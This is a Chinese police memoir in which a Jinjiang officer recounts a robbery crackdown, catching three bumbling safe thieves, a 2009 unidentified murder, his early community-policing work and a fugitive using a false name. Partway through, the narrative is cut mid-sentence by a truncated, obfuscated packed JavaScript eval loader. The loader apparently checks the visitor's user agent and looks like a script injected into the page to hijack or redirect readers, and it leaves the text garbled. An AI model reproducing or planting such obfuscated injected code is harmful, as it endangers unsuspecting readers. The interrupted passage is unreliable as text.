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第二个故事：有一天我受理报警，就是负责给报刑事案件的人做笔录，鞋都刑侦中队是驻所中队，辖区是整个鞋都镇，仅仅整个鞋都镇一天下来，我共接了43起，做了43份询问笔录，这个记录是我人生的巅峰，至今未突破过，那天我除了吃饭喝水剩下的时间都是在做笔录，中午最忙碌的时候，有十几名群众在排队等候，都可以排队叫号了，我不知道那天我怎么熬过去的，但是那天有个人来报警，我印象深刻，他报警说被抢夺，抢劫，我就问他什么情况，他跟我说，来鞋都联系生意，提着一个手提包，因为第一次来，就步行去一家鞋业公司，走到半路，突然被一辆摩托车上的男子抢走手提包，车子扬长而去，他跟着追了一会，看到车子逃跑方向，然后拿出手机准备报警，刚刚拨完110，听筒放在耳边，手机又被一辆车抢走了，人还摔了一跤，他向路边的一辆摩的司机求助，摩的司机说带他来鞋都镇派出所报案，然后就上车跟着一起走，结果摩托车进了一个偏僻的旧村小巷，被几名手持棍棒砍刀的男子拦下来，身上的钱包又被几人抢去走，他最后走路出来，遇到一个好心人帮忙打110被出警的同志接过来的。 说实话，治安形势确实很严峻。每天发生那么多案件，我们也想快点侦破，多抓点热，但是我们警力相对于案件来少，实在是少得可怜，案件我们应接不暇，很难逐一梳理开展侦查工作，一般都是挑一下线索较好，比较容易办理的案件先处理，其他很多案件几乎都是积压在档案里，只能抓到人一并算账。 为了扭转这种恶性循环的被动局面，当时刑侦大队酝酿改革，陈局是老刑侦出身，非常关注刑侦工作，对刑侦有独特的了解，因在刑侦战线工作突出，很多年前就是公安部二级英模，当时为数不多的活着的二级英模。在过去刑侦工作一般占全局工作比重很高，决定这整个公安局工作考核成绩的好坏，后来社会形势发生转变，才逐渐下降。陈局到晋江不久，亲自到刑侦开会，晋江刑侦是刑侦系统的一面旗帜，1999年获□□命名特别能战斗刑警队，是一个有着优良传统的队伍，是一直敢打肯拼的队伍，陈局认为，不能只盯着恶性案件，大案要案，关系到民生的小案件也要管，为此要探索改革，先从打两抢开始，当时全安平市每天两抢的案件没有低于过20起，高峰期每天40余起，陈局长定了一个目标，年底前每天两抢案件降至个位数，但是我们还觉得不可能，局长发话了，必须改变现有打击方式，完成目标，他请客吃饭。刚开始，我们还觉得他吹牛，怎么可能，我也干了几年的刑侦了，案件没那么容易跑，虽然大家心存疑虑，但是还是全力以赴，陈局也经常出面协调各类资源，那一年我们算是见识了，什么是敢打肯拼，我和医生两人在中队一直负责两抢案件的侦破，那年最忙碌的时候，我一个月在单位睡了22天，最疯狂的时候，我们八个民警抓回来十二个嫌疑人，八个人审讯，两个民警一组，平均每组审讯三个，一个晚上就全部完成。现在回想起来觉得不可思议，这样的高效打击之下，战果辉煌，一年下来我们中队批捕起诉了涉嫌两抢嫌疑人六十余人，破案数百起。元旦的时候，我们召开刑侦会议，开完会已经下午下班，正准备散场的时候，局长政委发话了，局食堂安排了大家的晚餐，没有值班的今天要喝酒，因为两抢案件已经连续一周降至个位数，这次以后我们对陈局佩服得五体投地特别是他言必行行必果的行事作风，得到全局的认可，只要他提出的目标，我们都觉得能完成，全力以赴。我离开晋江的时候，刑事案件总发案已经降到一万余起，总破案率超过60%，打击成效超预期。 海边发现的保险柜既然不是在鞋都被盗，我暂时就不管，专心追查手上的案件，为了尽快落实嫌疑人身份，制定好抓捕方案，确保万无一失，还是得做大量的功课，首先，现有嫌疑人的基本情况，关系人，前科情况，落脚点，一一调查情况，其次，通过两名已知身份的嫌疑人，尽快摸排出本案其他嫌疑人。调查情况让人有些失望，视频中第二辆摩托车车主和驾驶人不是同一人，经过排查车主，基本排除嫌疑身份和嫌疑人关系人身份，我们直接问车主摩托车情况，车主反映，摩托车并不是他的，而是几年前车行用他身份证办理的车牌，摩托车是卖给其他人了，具体是谁，也不清楚，那个车行早已倒闭，这条线索就这么断了。 六、拔出萝卜带出泥 破案的前提是，侦查员必须把案情吃透，案件查清楚，还原事实真相，及时获取证据，才能做到破案可以顺利的移送起诉，让嫌疑人上法庭接受正义的审判，为自己的罪行付出代价，如果不能做好这一点，那就不是一名合格的刑警，案件不能算破。我们这组人经过三天的前期侦查，基本把案情摸透，关键的证据已经获取，现在就差把嫌疑人抓捕归案，完成整个诉讼的流程。同时为了能够保证诉讼正常进行，最稳妥的做法就是把嫌疑人一网打尽，全部归案。 经过研究，发现两名嫌疑人一直在永和活动，跟我们掌握的情况一致，其中一名是某工厂的保安，还有一名身份不清的嫌疑人一直在泉州，但是经过考虑，采取了一种比较快，但是比较冒险的方案，分成两组，将两名已知身份的嫌疑人抓捕，从他们身上获取直接证据，还有就是通过审讯或者其他方式获取第三名嫌疑人的身份及落脚情况，趁其未察觉的时候快速抓捕归案。 事不宜迟，我们两组人，分乘两辆车，直奔永和镇，我带一组去抓那名保安刘某，另一组抓负责接应的摩托车司机张某，我这组由我开的是捷达，四个人，我开车比较快，说实话，我做起事情来是个急性子，要么就干脆不做，要么就快；另一组五个人，开一辆上海汇众的面包车，阿斯坦纳。 由于两名嫌疑人不在一起，只能分开抓捕，那天五点我们提前吃晚饭，晋江特色小吃，牛肉汤，配咸饭，在泉州地区，这个是很常见的快餐类小吃，方便快捷，营养也跟得上，价格实惠，选择一份蔬菜，一份肉，还可以加块牛排，就是牛的排骨，剁成小块，各家秘制药材炖出来的，味道不错，我最喜欢的是新塘街道一家手抓牛排骨汤，味道鲜美，手抓牛肉，感觉很赞。吃完饭，分头行动，各自赶往预定地点，晚上六点半同时动手，七点半，我们两组已经在办案区汇合了，一切顺利，我在工厂保安室抓的嫌疑人，他随身还带着一些零钱，手机里有那名不知身份的嫌疑号码发来的信息，还有手机电话本登记的姓名，另外一组基本顺利，美中不足，作案用的摩托车没有找到。 在办案区我们汇总了一下情况，查了一下两名嫌疑人的手机，很快就找到第三名嫌疑人的身份信息，第三名嫌疑人发过来的信息是，在泉州正骨医院的几楼几号病床，那就是视频中那名从楼上坠落的嫌疑人，原来受伤住院了，既然如此，我们不着急抓了，马上改变策略，把已经到手的两名嫌疑人消化完，再去弄第三名嫌疑人。很快我们开始了对刘某和张某的审讯工作。刚开始两人还试图狡辩，我们用了两个小时，在证据面前，特别是视频和现场物证就全部交代了。据先开着口的刘某交代，是在医院住院的李某，纠集他们去作案的，绳子也是李某准备的，案发前，刘某在大森制衣做了很久的保安，被李某叫出来一起发财，李某有盗窃前科，懂一些开锁技术，李某、张某、刘某三人，四处寻找目标，先是到南安仑苍镇一栋别墅里盗窃，但是仅偷了几百元现金，还是零钱，旧版的人民币，没有花出去，被我们当场查扣，三人后来又去永和镇偷一家工厂，但是工厂办公室内什么都没有，一无所获，因为长期没有经济来源，因为以前做过保安，只好先去了永和一家工厂应聘保安。案发前打听到大森制衣要发工资，于是三人策划过去搞一把。刘某对现场比较熟，头一天就带着李某进去看了一下环境。为了顺利作案不留下线索，张某头天下午三点就骑摩托车送李某刘某到西坂存大森制衣，然后在附近等候，李某和刘某趁着工厂进进出出人比较多，就溜进工厂，找到一处无人的地方，躲起来，忍饥挨饿，等到凌晨两点多，开始上楼去财务室。 七、轮椅上的蟊贼 案发当天，李某和刘某抹黑上了七楼露台，通过露台来到财务室门口，李某的开锁技术不佳，弄了很久，门都没有打开，这个时候，刘某发现财务室的窗户没关严实，于是打开窗户，两人爬了进去，翻了一下办公室，没找到值钱物品，就计划把保险柜弄回去，于是两人通过合力抬的方式，把保险柜搬出，一路沿露台走下楼梯，抬到三楼，打开三楼的门，进入阳台，打电话通知张某来接应，很快张某就骑着摩托车到了楼下。刘某将事先准备好的绳索，打好结，绑在阳台护栏上，另一头绑上保险柜，用绳子将保险柜放到一楼，保险柜快到一楼直接掉落在地上，发出很大声响，刘某、李某赶紧顺着绳子往下爬，李某个子较小，体能较差，之前搬保险柜已经让他筋疲力尽，他下绳子时，手没有力气，脱落，直接从楼上掉落，就是我在视频录像中看到的那一幕，自由落体运动，腿摔倒正下方的保险柜上，整个左脚踝粉碎性骨折。 之后，张某和刘某驾驶摩托车将保险柜放在摩托车上带走，在路口遇到一辆摩的，就叫这辆摩的去接受伤的李某，然后一同离开。一路来到永和李某的租房内，找来工具，将保险柜撬开，里面有一些文件还有大约800元左右的零钱，三个人就平分了，之后李某去了医院，张某驾驶摩托车，将保险柜扔到永和一处废石窟内，而刘某则返回工厂继续做保安。三天时间，嫌疑人到案，案件成功告破。按照两人的交代，李某是整个案件的主谋，不过他在医院治疗，暂时不担心他能闻风潜逃，踏实下来审讯笔录做完，人留置在办案区，晚上十二点左右忙完，各自回去休息，来日继续工作。 抓到嫌疑人第二天吃完早餐，带上足够人手，整组一个人留下来办法律手续，其余的人押送嫌疑人辨认现场，辨认现场是最麻烦最头疼，也是最容易出现问题的，每次辨认都绷紧着神经，警察可以牺牲，嫌疑人不能出事，如果嫌疑人自杀自残或者利用机会逃脱，那么当事民警就会检察院带走，渎职或者玩忽职守，判得可能比嫌疑人还重，警察如果殉职，就是开个追悼会，照片挂在墙上，这事就结了，这是刑警不好干的一个很重要的原因，经常有警察为了救急于逃跑而选择跳河跳海跳楼的嫌疑人，而自己受伤牺牲的，每年都有，每每看到这种新闻，我都是一声叹息，然后每次内心感激，嫌疑人不死之恩，我能够安全的撑到现在，每次辨认精神压力都很大，再因为加上路途较远，回来已经很晚了，还得抓紧时间，把嫌疑人送进看守所羁押，嫌疑人声称身体不适，还得先送去体检，体检拿到报告再送看守所，忙完已经是晚上了。 抓到嫌疑人第三天，上午休整，下午办理延长刑拘，各种手续，安排人到看守所提审，提审完，想起来李某还在医院，担心夜长梦多，于是办好刑拘证，驱车前往正骨医院。当我还是社区民警的时候，就经常来这家医院，社区流动人口多，经常有打架斗殴的，有的还刀砍来砍去 ，如果砍伤到人就学电影电视里，立马跑路。打架的原因有很多，有时就是一个眼神，然后一句类似“你瞅啥”，就动刀砍杀，还有打架完，打输了，回去抄家伙叫人回来寻仇的，这帮人几乎都是看香港电影长大的，古惑仔电影害死人，最后，受伤的一个方报警，等着警察来验伤抓嫌疑人，有的身份清楚，认识的人直接打架，打完跑路，就会被上网追逃，成为网上逃犯，我第一次出差重庆就是去移交这种涉嫌故意伤害罪的网逃人员，而受伤的人员，视伤情程度会被送到各医院，鞋都离泉州很近，隔着晋江，过江就到了，伤情稍重的都会往晋江地区区送，而当时社区民警要负责伤害类案件前期的调查取证工作，立刑事案件后再移交，于是三年的片警生活，我跑遍了鞋都、安平市区、晋江地区区几乎所有的医院。 轻车熟路，很快到了医院，李某当时躺在医院病床上，他老婆在旁边，刚刚开始精神还不错，脚上打着石膏，用贼眉鼠眼来形容他最好不过，虽然在医院，但是眼珠子还是四处瞟视，当我们微笑着出现时，瞬间整个人就焉了，整个人都耷拉着。说实话，这是我参加公安工作以来，第一次笑着抓嫌疑人，而且是笑出声来，笨贼年年有，今年特别多。镜头画面是这样的，我拿出手铐，在他面前晃了晃，他伸出手，也没问我是谁，等我把他手拷在病床上，然后掏出证件，告诉他，我是晋江刑警，他无奈看着我，我继续问他，知道为什么抓你吗，李某叹了一口气，点了点头。他老婆则在旁边一直骂，终于抓他了，早就该抓走了，自己作死，她终于解脱了，不用管他了，知道我们要要抓李某后，她就要走，回工厂上班，我留了她电话，并告知第二天来找我拿拘留通知书。我问了一下主治医生，李某的脚外力导致粉碎性骨折，打着石膏，慢慢休养就能好，没有其他问题，基本生活能够自理，说到这我就放心了，找医院借了一付轮椅，把李某转移到轮椅上，带回处理，当晚问完笔录，放在所里留置。来日进一步处理。 抓到嫌疑人第四天，押送李某去辨认现场，再送他去看守所，我可能第一个推着轮椅送嫌疑人进看守所，因为生活能够自理，晋江看守所配备多名驻所医生，所以顺利羁押。 抓到嫌疑人第五天，收集相关证据，把保险柜凭证送去物价局估价，因为案件追诉的问题，保险柜也是有价物品，列入案值，最后估价2500元，晋江案件刚刚够三千追诉标准。 后来，案件办理速度较快，一审判决完后，没有上诉，三人被送到监狱服刑，李某的伤恢复较慢，听说是被抬着进了监狱。 本章最后，新警培训记住的三个名字，张君（1980年生）、黎海龙（1982年生）、黄广福（1983年生）原江西交警总队高速公路直属支队五大队民警，2005年1月18日凌晨，处理一起交通事故时为抢救司乘人员当场牺牲，那天天寒地冻，风雪交加，他们被一辆失控的大货车撞倒，再也没有起来。我从未没有见过他们，他们永远年轻的脸印刻在那里，感谢他们不畏寒冷，把温暖留给世间。初任培训参加他们的追悼仪式，从那以后，我不再畏惧，不论艰险，我从没放弃努力，挡住黑暗和严寒，为世间留出光明和温暖。 3. 第 3 章 一、洋埭无头命案 2009年10月底，晚22时许，有群众报警，在鞋都镇洋埭菜市场附近有一名男子浑身是血，倒在路边，已经通知120，鞋都镇派出所巡逻警中队值班民警立即驾车前往现场查看，现场就在洋埭旧村与菜市场河边交界处，一名男子趴在路边水沟旁，身下一滩鲜血，水沟内也是鲜血，背部血肉模糊，目测至少被砍50刀以上，已经没有完整皮肤，已经没有了呼吸和脉搏，120随后赶到现场，随车医生确认那名男子已经死亡。民警随后通知刑侦大队，大队派出值班技术员法医和重案队赶到现场。法医初步判断，男子系流血过多死亡，技根据现场发现的血迹分析，死者生前在旧村巷子里被砍伤，一路走到这里倒下的，然后死亡。因为身上没有身份证，没有发现证明身份的物品，死者身份成谜，他是谁？被谁砍死在街头？ 洋埭村，鞋都镇的第一大村，由六个自然村组成，户籍常住人口8千人，登记在册流动人口5万人，商贸发达，被称为鞋都北部经济中心，高峰期人□□动人口接近10万人，超过全国很多县城的城区人口。洋埭村的旧村，位于洋埭菜市场后面有一片老建筑群，典型的闽南民居聚集群，长宽约500米，与涵埭村（又称洋埭李）连成一片，散落着几百处房屋，都是典型的红砖木制机构、或者夯土墙瓦房，少数石头房屋，大多年久失修，有些墙头屋顶上都是杂草，看上去较为破旧，联通的道路很窄，仅能容纳步行或者摩托车进出，有十几条小石板道穿插其中，进入以后如同迷宫一般，不熟悉的人进入很容易迷路。 这里独特的地理位置，迷宫一般的小路，加上人员流动性大，常年活跃着地下赌场、□□，甚至各种“仙人跳”的违法犯罪团伙，位于菜市场旁往街面的巷子，则是徒步抢夺、抢劫的高发区域，经过多次打击，收效甚微，主要原因在于此处非常容易藏匿或者逃跑，没有特别多的警力很难展开行动，而当地治安巡逻队，与个势力团伙有说不清道不明的关系，由于情报基础工作极难开展，这里成了灰色地带，几乎失控。有一次我化妆侦查，亲眼目睹村里的老人会的老头子，拿着手电筒，在旧村里箱子里，向各个□□女收取当天的保护费，在2009年各类侵财类犯罪活动在这里很猖獗，几乎每天都能接到来着鞋都洋埭旧村的报警，抢夺抢劫司空见惯。很多人到了晚上宁愿绕路，也不敢从旧村穿行。 如果你有一天，你突然心血来潮，好奇心指使你穿过这片区域，等待你的将是以下：颇有年代感的石板路，新旧不一的闽南民居矗立在路两边，土墙或者红砖墙面留个很小的窗户、窗户实木板封死，可以闻到各种物品长期闲置受潮而散发出那种浓浓的发霉的味道，污水沟的臭味，路边或蹲或坐在各个路口及拐角位置盯着你看的老头，巷子深处四处都能看到仿佛能将你吞噬的眼神，穿着暴露浓妆艳抹伴着各种劣质香水的妖怪一般的女子，不断向你发出“帅哥，按摩不”声响，运气好的话，还可以听到小赌场里各种热闹的声响以及让会你发怵的深不见底的黑暗。 长期的恶性循环，在这片很小块的区域，几乎每年都有命案发生，过去的十几年至今，尚有多起案件未破。在命案必破的考核指标下，刑侦大队的压力非常大。这起命案的发生属于意料之中，也是意料之外，现场访查得到的信息显示，当时有两帮人在巷子里打架，这个人倒了以后，两帮人都跑了。身份信息、事情起因一概不知，又称了一件无头命案。眼瞅着命案侦破工作年终考评的最后截止日期就要到了，时任局长下了死命令，不惜一切代价必须在考核截止前破案。 一方面，发布公告征集案件线索，奖金也一路飙升；另一方面抽调人手参与破案，采取人海战术，破案攻坚。 那时我还是片警，被到抽调洋埭村做试点流动人口创新管理工作，为了解决流动人口管控难题而做出的努力，时任公安厅长牛纪刚同志来晋江调研时还听过我的专题汇报。因为我本来就是临时抽调的，属于机动部队，于是我就被抽调到专案组参与案件侦破工作。 首先聊一下，什么是片警。 片警，正式的名称是社区民警。有的地方也叫户籍民警，英雄模范邱娥国就是户籍民警，其实就是社区管片民警。因为长期在社区管片，有点类似包干到户的承包责任制，具体职责，负责的治安管理等工作，每个地区职责细分不同，但是工作需要，必须到基层社区村庄一线，与群众天天打交道，都有一个共同的称呼，被群众称呼为片警。邱娥国就是早期片警的代表，他长期扎根基层社区，工作出色，2018年12月18日，中共中央、□□授予邱娥国改革先锋称号，颁发改革先锋奖章，并获评为“基层社会治理创新的优秀民警代表”。同日入选“改革开放40周年政法系统新闻影响力人物”，并获评：他，是基层治理模式的创新者。 其次，片警的职责，民间有句话，上官天下管地，中间管空气，在划定或指定的包干责任区内治安管理社会管理消防管理等。具体业务涉及：出租房屋管理、流动及常住人口管理；入户调查；情报信息收集、特勤耳目布建、重点人口管理、消防管理、一般治安案件办理、抓捕各类违法犯罪嫌疑人、发现预防制止各类违法犯罪活动、刑事案件的初查及配合侦查、民间非案件的调解、指导各个，位的安保工作、维护治安秩序、甚至辖区交通秩序维护，普法教育，所里安排的其他工作，各种治安案事件的处置，后来还参与拆迁工作，仅警务室的基础台账就有14种不同类型，看着眼花缭乱，经常云里雾里。 二、鞋都镇派出所 2006年8月，我调入东南省安平市公安局工作，8月16日到安平市公安局政工科报到，当时接待我的是施副主任（因工作出色，后来调任刑侦大队教导员），当时他是一级警司警衔，最深的印象是他两眼炯炯有神，身材匀称，跟我同一天报到的是老苏，老苏是龙湖镇人，学体育出身，喜欢运动，一副好身材，身体素质极佳，冬天也只穿着短袖，我也找不到第二个人了，为人豪爽，朋友很多，比我年长六岁，很照顾我，因为缘分，我后来硬是认他女儿当干女儿，事实证明，我不是个称职的干爹。老苏后来调出公安队伍到纪委工作，因踏实肯干，能力出众，升任领导职务，之前在永春县公安局工作，我们两人同一天参加调动人事体检，同一天报到，同时被分到鞋都镇派出所工作，我一直认为鞋都镇派出所是晋江地区最好的基层单位，老苏则持相反态度，他早就听闻鞋都镇派出所的工作强度，第二天我便就知道他是对的，报到当天，鞋都镇派出所许天切教导员开车来接我们，车牌号闽0 C0394，到鞋都镇派出所，安排我们工作和备勤宿舍，当时民警宿舍两人一间，我们正好分到对门两间，我见到了同居六年的鞋都镇派出所的唯一一位舍友老纪，他跟老颜同一间，8月17日，我们正式上班，老苏我和都是分到社区民警队，他先跟老颜同一个片区，也跟着他学习熟悉情况，后来去了洋埭村当片警，我则跟老蔡学习，他当我了十五天的老师，之后我就单飞，自己管理社区，因为民警实在太少，只能快速学习，快速上手上岗，边学边做。 挑战才刚刚开始，在星子县公安局的时候，我还可以下午去锻炼，周末有双休，假期值班少，除了条件差一些外，一切都很好，05年因为新招了十几名外地民警，星子县局把局大楼后边的车库加盖到三楼，留作新民警宿舍，于是我有了公安系统第一个舍友，蔡敏，九江人，身高一米八，长得帅，参加公安工作之前在地税局合同工，通过考试到星子县公安局，分配到政工科程科长手下，他年长我四岁，如果说成分的话，他是工厂子弟，我是农民工后代，局宿舍建好以后，我就结束了在外租房的流浪生活，住进了宿舍，我就和他成了舍友，他女朋友是吉安人，某个周末，我们就一起搭火车直接去了吉安，在吉安街头夜市摊上，吃着炒粉，喝当地米酒三两三，不过我酒量差，吐得一塌糊涂。我们平时没什么事，住在单位，下班后一起上网玩游戏，晚餐馒头加鸭脖配啤酒，过着神仙般的小日子。真是一念天堂一念地狱，两个地方前后比较，星子县公安局是天堂，鞋都镇派出所绝对是地狱。 鞋都镇派出所管辖鞋都镇，25个行政村，常住人口约8万人，辖区内有3000家各类工厂，均为民营企业，其中十几家上市公司，主要以制鞋及其配套为主，还有各类不能成为工厂的配套小作坊无数家，共有三个鞋材辅料专业市场，2009公布数据，晋江财政收入81.53亿元，鞋都镇贡献了13.8亿。经济的繁荣，劳动密集型产业集中，带来了巨量的流动人口，在2014年实施网格化管理之前，鞋都镇的流动人口一直处于失控状态，最高峰登记人数35万人，实际登记率六成左右，治安形势严峻，案件高发态势逐年上升。 鞋都所上班第一周，赶上了暑季专项行动期间，所有人两班倒，即今天值班，明天晚上休息，后天继续值班，周末轮休一天，说是周末轮休一天，但是因为事情多，遇到统一开展清查行动，周末和晚上加班是常态，第一周我没有休息，直接住在所里，几乎每晚都在加班，我公安工作第一个师傅可以说是老蔡，老蔡个子不高，圆脸，眼睛很大，池店人，家里被拆迁，被我们私下称为拆二代蔡百万，是位老民警，经验丰富，为人随后，乐于助人，三年社区民警生涯，一直得他照顾，因为时间带短，也从没有拜师，他后来也不认我这个徒弟，当时跟着老蔡学习社区民警业务，他是优秀社区民警，就像一个大哥一样，带着我快速处理业务，细细传授，当时很庆幸跟着他，他办事效率很高，处理事情很有一套方法论，学到皮毛即可独当一面，当时主要工作内容是出警，处理各种案件，安排巡防队员上路巡逻，组织在路上设卡盘查，他当时责任区是两个大的行政村，江头村和宫口村，要登记管理流动人口，目标刚刚开始是摸清流动人口底数，后来直接变成了办理暂住证任务书，直接下指标，白天还要关注工厂消防，不能出事，火灾事故是当时最大的敌人，还有办理治安案件任务，只要就是去抓赌博，鞋都镇当时很多隐蔽的老虎机店，发现我们就查处，一般就是现场抓人扣设备，然后罚款或者拘留，还有就是抓□□□□的，那个少，相对来说，每天做得最多的是，打架斗殴案件，轻微伤以下案件一般是调解，但是每天总有几起轻伤以上案件，每天上午固定是到各个医院，制作当事人询问笔录，调查取证，拿着个尺子拍当事人的伤口，找医生获取当事医疗资料，然后拿着伤情数据，询问法医是否构成轻伤，可能是的话，就到医院接上当事人去法医那做法医学人体伤害鉴定，然后就回去移交办案队办理。夏季，高温使得动物都特别躁动，人类更甚之，高密度的人口，宽松的犯罪外部环境，人们压抑而无处发泄，于是一句“你瞅啥”的结果就是一场血案。第一周当老蔡的跟班，当个司机，开车往返于各个医院，法医室，派出所，两个村的警务室，做点打下手的事情，觉得还能应付，就是睡眠不够，我开始喝红牛提神。 鞋都所第二周，我已经可以开始单独去干活了，独自去医院做笔录，取记录，带当事人去法医室，移送案件。晚上值班处理各项事务，不会就问其他人，当事鞋都所所领导加驻所刑侦中队，共有民警48人辅警约50人，两班倒，就是说有24名民警是在岗在位的，轮到我值电话班，就是受理登记各类报警，然后给对应的民警或者办案队，刑侦中队值班民警打电话通知过来接活，那天对着空调吹了一个晚上，加上晚上几乎没睡，第二天交班的时候，感觉有些感冒的症状，本着轻伤不下火线的战斗精神，小感冒继续工作，休息下就好；第三天，感冒加重，我只能工作期间去药店买了感冒药吃，然后继续干各种事情，到现场取证，做各种询问笔录，没得停；第四天的时候，感冒还没有好，虚汗严重，开始咳嗽，老蔡见状让我停下手下的工作，去鞋都卫生院看看，在卫生院，诊断为感冒，打了点滴，当时顺便在医院给一个前些天被人打伤的当事人做了个笔录，打完点滴回去继续上班，处理案件。第五天，咳嗽加重，开始发烧，高烧不退，到晚上已经有些神志不清，老蔡见状和老苏一起，开车送我到泉州第一医院检查，找了熟悉的医生，当时我的肺部已经严重感染，X光片看到整个呼吸道都是阴影，人生第一次体验肺炎的感觉，还是在酷暑的夏季，原因很多，没有休息好，高强度的工作导致身体疲劳免疫力下降，水土不服，而且去的地方环境恶劣，病菌太多，无意中感染了。因为有青霉素过敏史，第一医院的医生谨慎起见，保守治疗，不用住院，给我开了阿奇霉素，共10天的量，自己拿回家，就近去找社区医疗打。因为2003年非典的影响还在，单位的人对此很敏感，所领导让我别回去上班，并帮我请了病假，让我回家好好休息，开展治疗。 在工作仅二周后，我第一次可以回家休息，强烈的咳嗽，让我进食困难，每天自己要去打阿奇霉素，配合生理盐水和葡萄糖，阿奇霉素作用非常大，印象中，每次打到半瓶的时候，全身的肌肉都在刺痛，如同千百个针同时刺向你，无处躲藏，只能咬牙挺着，有时痛到全身发抖，不过后来居然痛习惯了。为了能够撑下去，我每天拖着因为咳嗽而佝偻的身体，到马路对面店里喝粥，然后再去打点滴，打完回来睡觉，睡醒接着去喝完粥，喝完回来睡觉，每天三顿粥，第二天继续重复，再去打针，头几天一直在发烧，断断续续的，时好时坏，一直没有退，咳嗽依然剧烈，每次仿佛都要把肺咳出来，晚上发烧迷迷糊糊的，有一天我不知道是清醒还是做梦，我想起了□□总理曾经在过草地的时候得了肺炎，然后还顽强的走完了长征，最后成为国家总理，我这个肺炎跟他比起来算什么，天将降大任于斯人也，坚持下去，我就是胜利，之后必成大事，靠着这种傻Q精神，加上每天定时打针，我快速好转，到第七天，咳嗽快好了，偶尔咳一下，间歇性的发烧已经没有了，打到第十天，终于完全不咳了，我终于松了口气，但是身体还是很虚弱，听说我差不多快好了，所领导带着内勤来家里看我，第一次感觉到组织的温暖，同时所领导告诉我安心养好身体，已经帮我请好了两周的假，如果不够可以继续续假。 第一个月就这么梦幻般天昏地暗的晃过去了，如同进入特种兵部队，得熬过刚开始的地狱周，挺过去了才能证明你行，然后继续后面的训练。 那时二十出头的年纪，身体恢复也很快，两周的假期结束，我感觉自己差不多痊愈了，去医院复检，肺部阴影也没有了，于是我愉快的回到所里上班，大病后上班第一天，开完早会，南片警务区负责的施副所长告诉我，根据所里领导开会讨论，决定安排我单独下社区，要单飞了，作为社区民警，我的第一个管片是桂林村，老苏去了洋埭村，因为洋埭村大，加上他共有三个片警，和洋埭的缘分开始了。到新单位工作才一周，就大病一场，而且死去活来，痛不欲生，这会的我如同淬火重生，等着重铸。我半个月学习的工作，几乎全忘了，出发去村里的时候，我大脑一片空白。 三、自逃罗网的逃犯 广西村，有常住人口约3600人，各类工厂企业140余家，流动人口1万人左右，辖区有初级中学一所，小学一所，幼儿园一所，后来我还是小学和中学的法制副校长，与宫口、坊脚、西霞美三村交界，有两条小河穿村而过，背靠机场，就是第一篇中发现碎尸的地方，警务室离机场围栏直线距离不到100米，我每天都可以在这里看飞机，机场是军民两用机场，有很多军用飞机停放和起降，当时我还饶有兴趣的研究了很久。广西村有三个自然村，治安形势跟其他村比较，算是比较平稳的，适合我这种新手练手，那天副所长带着我到村里报到，与村两委见面，熟悉情况，因为我是广西村第一个不会说闽南话的片警，也是有史以来最年轻的片警，村两委都是持怀疑的眼神看着我，其实我也很无辜，工作是领导安排的，根本没有询问过我的意见，此后11年，每一次工作调动都是领导安排，从没有人征求过我的意见，晋江公安的工作作风便是如此，执行力强，领导安排人事的时候，首先是讨论你的个人特长，业绩，再安排工作岗位，然后再通知你，人事任命，后来我调任图侦队长的时候，事先我一点风声都没有。 既然安排我做这个工作，我就要做好，为了能够尽快熟悉，打开工作局面，跟群众打成一片，除了每天很勤快的蹲在村里，骑着摩托车进村入户熟悉情况，我还刻意联系闽南腔的普通话，假装自己是说闽普话的闽南人，后来我大学同学来看我，发现我一嘴闽南口音，大为吃惊，我大学时代是广播站播音员。下社区首先要工作的对象，其实是各个村干部，他们代表各个自然村的利益，有事情请他们协助，基本上事半功倍，这是个诀窍，老民警口传身教给我的。后来，村干部林永楠，他住在我去警务室的路口，每天都要从他家门口路过，很快就熟悉起来，在他的大力支持下，我的工作局面才慢慢打开，将心比心，你的努力，群众都是看在眼里的，只要有空，我肯定出现在村里，村头巷尾，每一条路，每一栋房子，我我都记在心里，很快我就把村里的情况摸得个大概了。 当然，要得到这些闽南村干部的认同，还需要机会，镇里驻村干部、村两委在一起聚餐，我也应邀出席，酒桌上，我孤身一人，舍命喝酒，摆出一副拼命的姿势，最后把号称千杯不醉的镇驻村干部老庄给喝倒了，但是杀敌八千，自损一万，我是仗着年轻，用身体扛，虽然大病初愈，但是为了能够顺利开展工作，我也拼了，当时海鲜是日常餐，但是那天吃的海鲜还没到我的胃就被我就着酒送进了下水道，来回多趟，我不记得我吐了多少次，直到老庄趴下，把在场的人喝到东倒西歪目瞪口呆，我也不记得我是怎么回家的，第二天上班，我还在吐，不过自此一役，我算是建立了江湖地位，各个村干部看到我，都满脸微笑，这个后生喝酒够意思，酒品看人品，再需要做什么工作，他们鼎力支持，当然配合我工作较多的还是治保主任林金土，听名字就很有气质，家里开工厂，工人三四百人，义务当村干部，还每年捐钱。在当时的总体治安形势下，要把一个村弄得很好，不太容易，但是能做多少算多少嘛。 有了村两委的支持，着手第一件大事，就是将治安巡逻队现有的几个人换掉，经过一段时间观察，发现他们慵懒散，做事敷衍，还存在违法赚钱的嫌疑，特别是队长，群众反映强烈，必须让他走人，后来才知道他有经营老虎机店，被查处过几次，这是后话。作为维护治安的机动力量 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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我找到时任刑侦中队副队长洪副，请他帮忙核实该案情况，当时那个案件当时有个主犯，已经被判决，去监狱服刑了，他正好有印象，于是到法院把当时的卷宗复印回来研究，主犯确实交待有个同案姓易，名字不详，重庆人，年龄刚好项目，当时案件破了，主犯判完刑，算是完结了，案件太多，确实没有那么多人手和精力来办理，也没有人继续追查同案犯，更没有上网追逃，所以就搁置了，这次耳目提供的线索非常重要。我赶紧通过公安网，找了一下曹某和易某的户籍登记资料，以及家庭成员情况等，可惜的是都没有户籍照片。 然后我假意说为了正规化管理，巡逻队员试用期要登记详细的家庭成员情况，要求写明父母兄弟姐妹的姓名年龄，并叫来所有巡逻队员重新填表，并要求一张黑白一寸照片，曹某填写的父母情况，与网上对应的家庭成员情况完全不符，倒是与易某很相符，除了姓氏不同，因为当时户籍登记的信息很多没有照片，主要是人员长年在外务工，当地未能采集照片。但是曹某提供的照片，与留存的身份证复印件，完全是两个人。 